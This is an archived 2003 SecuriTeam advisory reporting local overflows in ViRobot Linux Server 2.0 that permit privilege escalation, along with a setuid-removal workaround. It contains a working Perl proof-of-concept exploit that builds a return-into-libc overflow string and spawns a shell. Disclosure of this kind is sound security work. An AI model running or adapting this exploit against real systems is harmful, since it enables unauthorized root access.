[UNIX] ViRobot Linux Server Contains Several Local Overflows

From: SecuriTeam (support_at_securiteam.com)
Date: 08/21/03

  • Next message: SecuriTeam: "[NT] Piolet Client Vulnerable to a Remote DoS" 
    To: list@securiteam.com
Date: 21 Aug 2003 09:50:33 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ViRobot Linux Server Contains Several Local Overflows
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.globalhauri.com/html/products/fs_linux.html> ViRobot Linux
    Server, an antivirus solution for Linux, has been found to contain local
    security issues that allow gaining of elevated privileges.

    DETAILS

    Vulnerable systems:
     * ViRobot Linux Server version 2.0

    Workaround:
    Run the following command to remove the setuid bits:
    #chmod -s all suids in /usr/local/ViRobot/

    Exploit:
    #!/usr/bin/perl -w
    # virobot freebsd edition, might need tweaking but works on my
    4.8-RELEASE.
    # advisory written by KF at:
    #
    http://lists.netsys.com/pipermail/full-disclosure/2003-August/008672.html
    # this is an ugly hack, I am tired and heading for bed.
    # kokanin@dtors
    # $ perl ./DSR-virobot.pl
    # $ /path/to/virobot -d $STR
    # # echo look mommy no shellcode

    $fill = "A" x 256;
    $dummy = pack("l",0x41424344);
    $system = pack("l",0x08048e08);
    $pointer = pack("l",0x2819d780);
    local($ENV{'STR'}) = $fill . $dummy . $system x 2 . $dummy . $pointer;
    system("sh");

    ADDITIONAL INFORMATION

    The original advisory can be downloaded from:
     <http://www.secnetops.com/research/advisories/SRT2003-08-11-0729.txt>
    http://www.secnetops.com/research/advisories/SRT2003-08-11-0729.txt

    The information has been provided by <mailto:dotslash@snosoft.com> KF and
     <mailto:knud@skodliv.dk> Knud Erik Højgaard.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Piolet Client Vulnerable to a Remote DoS"

    Relevant Pages

    • [NT] w3wp DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... 1/12/2006 - Vendor requested for additional info ... recv(conn_socket, szBuffer, 256, 0); ...
      (Securiteam)
    • [NEWS] Openfire Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Openfire Multiple Vulnerabilities ...
      (Securiteam)
    • [NEWS] RealNetworks Helix Server 9 Administration Server Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several of Real Networks Helix Server products utilize a common ...
      (Securiteam)
    • [NT] Microsoft JET Multiple Vulnerabilities (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft JET database is "a lightweight database widely used by MS Office ... MSAccess offset for stable jmp edx ...
      (Securiteam)
    • [UNIX] Metamail Format String and Buffer Overflows Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Metamail implements ... The first format string bug occurs when a message has a ...
      (Securiteam)